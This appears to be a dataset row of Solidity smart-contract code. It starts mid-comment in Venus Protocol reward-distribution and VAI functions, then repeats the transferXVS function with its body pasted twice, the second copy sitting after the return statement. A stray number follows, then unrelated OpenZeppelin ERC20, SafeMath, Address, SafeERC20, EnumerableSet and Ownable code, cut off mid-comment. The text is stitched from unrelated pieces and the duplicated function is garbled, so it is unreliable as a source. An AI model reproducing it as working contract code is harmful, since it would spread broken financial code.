supply index * @param vToken The market whose supply index to update */ function updateVenusSupplyIndex(address vToken) internal { VenusMarketState storage supplyState = venusSupplyState[vToken]; uint supplySpeed = venusSpeeds[vToken]; uint blockNumber = getBlockNumber(); uint deltaBlocks = sub_(blockNumber, uint(supplyState.block)); if (deltaBlocks > 0 && supplySpeed > 0) { uint supplyTokens = VToken(vToken).totalSupply(); uint venusAccrued = mul_(deltaBlocks, supplySpeed); Double memory ratio = supplyTokens > 0 ? fraction(venusAccrued, supplyTokens) : Double({mantissa: 0}); Double memory index = add_(Double({mantissa: supplyState.index}), ratio); venusSupplyState[vToken] = VenusMarketState({ index: safe224(index.mantissa, "new index overflows"), block: safe32(blockNumber, "block number overflows") }); } else if (deltaBlocks > 0) { supplyState.block = safe32(blockNumber, "block number overflows"); } } /** * @notice Accrue XVS to the market by updating the borrow index * @param vToken The market whose borrow index to update */ function updateVenusBorrowIndex(address vToken, Exp memory marketBorrowIndex) internal { VenusMarketState storage borrowState = venusBorrowState[vToken]; uint borrowSpeed = venusSpeeds[vToken]; uint blockNumber = getBlockNumber(); uint deltaBlocks = sub_(blockNumber, uint(borrowState.block)); if (deltaBlocks > 0 && borrowSpeed > 0) { uint borrowAmount = div_(VToken(vToken).totalBorrows(), marketBorrowIndex); uint venusAccrued = mul_(deltaBlocks, borrowSpeed); Double memory ratio = borrowAmount > 0 ? fraction(venusAccrued, borrowAmount) : Double({mantissa: 0}); Double memory index = add_(Double({mantissa: borrowState.index}), ratio); venusBorrowState[vToken] = VenusMarketState({ index: safe224(index.mantissa, "new index overflows"), block: safe32(blockNumber, "block number overflows") }); } else if (deltaBlocks > 0) { borrowState.block = safe32(blockNumber, "block number overflows"); } } /** * @notice Accrue XVS to by updating the VAI minter index */ function updateVenusVAIMintIndex() internal { if (address(vaiController) != address(0)) { vaiController.updateVenusVAIMintIndex(); } } /** * @notice Calculate XVS accrued by a supplier and possibly transfer it to them * @param vToken The market in which the supplier is interacting * @param supplier The address of the supplier to distribute XVS to */ function distributeSupplierVenus(address vToken, address supplier, bool distributeAll) internal { VenusMarketState storage supplyState = venusSupplyState[vToken]; Double memory supplyIndex = Double({mantissa: supplyState.index}); Double memory supplierIndex = Double({mantissa: venusSupplierIndex[vToken][supplier]}); venusSupplierIndex[vToken][supplier] = supplyIndex.mantissa; if (supplierIndex.mantissa == 0 && supplyIndex.mantissa > 0) { supplierIndex.mantissa = venusInitialIndex; } Double memory deltaIndex = sub_(supplyIndex, supplierIndex); uint supplierTokens = VToken(vToken).balanceOf(supplier); uint supplierDelta = mul_(supplierTokens, deltaIndex); uint supplierAccrued = add_(venusAccrued[supplier], supplierDelta); venusAccrued[supplier] = transferXVS(supplier, supplierAccrued, distributeAll ? 0 : venusClaimThreshold); emit DistributedSupplierVenus(VToken(vToken), supplier, supplierDelta, supplyIndex.mantissa); } /** * @notice Calculate XVS accrued by a borrower and possibly transfer it to them * @dev Borrowers will not begin to accrue until after the first interaction with the protocol. * @param vToken The market in which the borrower is interacting * @param borrower The address of the borrower to distribute XVS to */ function distributeBorrowerVenus(address vToken, address borrower, Exp memory marketBorrowIndex, bool distributeAll) internal { VenusMarketState storage borrowState = venusBorrowState[vToken]; Double memory borrowIndex = Double({mantissa: borrowState.index}); Double memory borrowerIndex = Double({mantissa: venusBorrowerIndex[vToken][borrower]}); venusBorrowerIndex[vToken][borrower] = borrowIndex.mantissa; if (borrowerIndex.mantissa > 0) { Double memory deltaIndex = sub_(borrowIndex, borrowerIndex); uint borrowerAmount = div_(VToken(vToken).borrowBalanceStored(borrower), marketBorrowIndex); uint borrowerDelta = mul_(borrowerAmount, deltaIndex); uint borrowerAccrued = add_(venusAccrued[borrower], borrowerDelta); venusAccrued[borrower] = transferXVS(borrower, borrowerAccrued, distributeAll ? 0 : venusClaimThreshold); emit DistributedBorrowerVenus(VToken(vToken), borrower, borrowerDelta, borrowIndex.mantissa); } } /** * @notice Calculate XVS accrued by a VAI minter and possibly transfer it to them * @dev VAI minters will not begin to accrue until after the first interaction with the protocol. * @param vaiMinter The address of the VAI minter to distribute XVS to */ function distributeVAIMinterVenus(address vaiMinter, bool distributeAll) internal { if (address(vaiController) != address(0)) { uint vaiMinterAccrued; uint vaiMinterDelta; uint vaiMintIndexMantissa; uint err; (err, vaiMinterAccrued, vaiMinterDelta, vaiMintIndexMantissa) = vaiController.calcDistributeVAIMinterVenus(vaiMinter); if (err == uint(Error.NO_ERROR)) { venusAccrued[vaiMinter] = transferXVS(vaiMinter, vaiMinterAccrued, distributeAll ? 0 : venusClaimThreshold); emit DistributedVAIMinterVenus(vaiMinter, vaiMinterDelta, vaiMintIndexMantissa); } } } /** * @notice Transfer XVS to the user, if they are above the threshold * @dev Note: If there is not enough XVS, we do not perform the transfer all. * @param user The address of the user to transfer XVS to * @param userAccrued The amount of XVS to (possibly) transfer * @return The amount of XVS which was NOT transferred to the user */ function transferXVS(address user, uint userAccrued, uint threshold) internal returns (uint) { if (userAccrued >= threshold && userAccrued > 0) { XVS xvs = XVS(getXVSAddress()); uint xvsRemaining = xvs.balanceOf(address(this)); if (userAccrued <= xvsRemaining) { xvs.transfer(user, userAccrued); return 0; } } return userAccrued; } /** * @notice Claim all the xvs accrued by holder in all markets and VAI * @param holder The address to claim XVS for */ function claimVenus(address holder) public { return claimVenus(holder, allMarkets); } /** * @notice Claim all the xvs accrued by holder in the specified markets * @param holder The address to claim XVS for * @param vTokens The list of markets to claim XVS in */ function claimVenus(address holder, VToken[] memory vTokens) public { address[] memory holders = new address[](1); holders[0] = holder; claimVenus(holders, vTokens, true, true); } /** * @notice Claim all xvs accrued by the holders * @param holders The addresses to claim XVS for * @param vTokens The list of markets to claim XVS in * @param borrowers Whether or not to claim XVS earned by borrowing * @param suppliers Whether or not to claim XVS earned by supplying */ function claimVenus(address[] memory holders, VToken[] memory vTokens, bool borrowers, bool suppliers) public { uint j; updateVenusVAIMintIndex(); for (j = 0; j < holders.length; j++) { distributeVAIMinterVenus(holders[j], true); } for (uint i = 0; i < vTokens.length; i++) { VToken vToken = vTokens[i]; require(markets[address(vToken)].isListed, "not listed market"); if (borrowers) { Exp memory borrowIndex = Exp({mantissa: vToken.borrowIndex()}); updateVenusBorrowIndex(address(vToken), borrowIndex); for (j = 0; j < holders.length; j++) { distributeBorrowerVenus(address(vToken), holders[j], borrowIndex, true); } } if (suppliers) { updateVenusSupplyIndex(address(vToken)); for (j = 0; j < holders.length; j++) { distributeSupplierVenus(address(vToken), holders[j], true); } } } } /*** Venus Distribution Admin ***/ /** * @notice Set the amount of XVS distributed per block * @param venusRate_ The amount of XVS wei per block to distribute */ function _setVenusRate(uint venusRate_) public onlyAdmin { uint oldRate = venusRate; venusRate = venusRate_; emit NewVenusRate(oldRate, venusRate_); refreshVenusSpeedsInternal(); } /** * @notice Set the amount of XVS distributed per block to VAI Mint * @param venusVAIRate_ The amount of XVS wei per block to distribute to VAI Mint */ function _setVenusVAIRate(uint venusVAIRate_) public { require(msg.sender == admin, "only admin can"); uint oldVAIRate = venusVAIRate; venusVAIRate = venusVAIRate_; emit NewVenusVAIRate(oldVAIRate, venusVAIRate_); } /** * @notice Add markets to venusMarkets, allowing them to earn XVS in the flywheel * @param vTokens The addresses of the markets to add */ function _addVenusMarkets(address[] calldata vTokens) external onlyAdmin { for (uint i = 0; i < vTokens.length; i++) { _addVenusMarketInternal(vTokens[i]); } refreshVenusSpeedsInternal(); } function _addVenusMarketInternal(address vToken) internal { Market storage market = markets[vToken]; require(market.isListed, "venus market is not listed"); require(!market.isVenus, "venus market already added"); market.isVenus = true; emit MarketVenus(VToken(vToken), true); if (venusSupplyState[vToken].index == 0 && venusSupplyState[vToken].block == 0) { venusSupplyState[vToken] = VenusMarketState({ index: venusInitialIndex, block: safe32(getBlockNumber(), "block number overflows") }); } if (venusBorrowState[vToken].index == 0 && venusBorrowState[vToken].block == 0) { venusBorrowState[vToken] = VenusMarketState({ index: venusInitialIndex, block: safe32(getBlockNumber(), "block number overflows") }); } } function _initializeVenusVAIState(uint blockNumber) public { require(msg.sender == admin, "only admin can"); if (address(vaiController) != address(0)) { vaiController._initializeVenusVAIState(blockNumber); } } /** * @notice Remove a market from venusMarkets, preventing it from earning XVS in the flywheel * @param vToken The address of the market to drop */ function _dropVenusMarket(address vToken) public onlyAdmin { Market storage market = markets[vToken]; require(market.isVenus == true, "not venus market"); market.isVenus = false; emit MarketVenus(VToken(vToken), false); refreshVenusSpeedsInternal(); } /** * @notice Return all of the markets * @dev The automatic getter may be used to access an individual market. * @return The list of market addresses */ function getAllMarkets() public view returns (VToken[] memory) { return allMarkets; } function getBlockNumber() public view returns (uint) { return block.number; } /** * @notice Return the address of the XVS token * @return The address of XVS */ function getXVSAddress() public view returns (address) { return 0xcF6BB5389c92Bdda8a3747Ddb454cB7a64626C63; } /*** VAI functions ***/ /** * @notice Set the minted VAI amount of the `owner` * @param owner The address of the account to set * @param amount The amount of VAI to set to the account * @return The number of minted VAI by `owner` */ function setMintedVAIOf(address owner, uint amount) external onlyProtocolAllowed returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!mintVAIGuardianPaused && !repayVAIGuardianPaused, "VAI is paused"); // Check caller is vaiController if (msg.sender != address(vaiController)) { return fail(Error.REJECTION, FailureInfo.SET_MINTED_VAI_REJECTION); } mintedVAIs[owner] = amount; return uint(Error.NO_ERROR); } /** * @notice Mint VAI */ function mintVAI(uint mintVAIAmount) external onlyProtocolAllowed returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!mintVAIGuardianPaused, "mintVAI is paused"); // Keep the flywheel moving updateVenusVAIMintIndex(); distributeVAIMinterVenus(msg.sender, false); return vaiController.mintVAI(msg.sender, mintVAIAmount); } /** * @notice Repay VAI */ function repayVAI(uint repayVAIAmount) external onlyProtocolAllowed returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!repayVAIGuardianPaused, "repayVAI is paused"); // Keep the flywheel moving updateVenusVAIMintIndex(); distributeVAIMinterVenus(msg.sender, false); return vaiController.repayVAI(msg.sender, repayVAIAmount); } /** * @notice Get the minted VAI amount of the `owner` * @param owner The address of the account to query * @return The number of minted VAI by `owner` */ function mintedVAIOf(address owner) external view returns (uint) { return mintedVAIs[owner]; } /** * @notice Get Mintable VAI amount */ function getMintableVAI(address minter) external view returns (uint, uint) { return vaiController.getMintableVAI(minter); } }
Transfer XVS to the user, if they are above the threshold Note: If there is not enough XVS, we do not perform the transfer all. user The address of the user to transfer XVS to userAccrued The amount of XVS to (possibly) transfer return The amount of XVS which was NOT transferred to the user/
function transferXVS(address user, uint userAccrued, uint threshold) internal returns (uint) { if (userAccrued >= threshold && userAccrued > 0) { XVS xvs = XVS(getXVSAddress()); uint xvsRemaining = xvs.balanceOf(address(this)); if (userAccrued <= xvsRemaining) { xvs.transfer(user, userAccrued); return 0; } } return userAccrued; if (userAccrued >= threshold && userAccrued > 0) { XVS xvs = XVS(getXVSAddress()); uint xvsRemaining = xvs.balanceOf(address(this)); if (userAccrued <= xvsRemaining) { xvs.transfer(user, userAccrued); return 0; } } return userAccrued; }
5,479,925
/** *Submitted for verification at Etherscan.io on 2020-09-14 */ /** *Submitted for verification at Etherscan.io on 2020-08-26 */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on 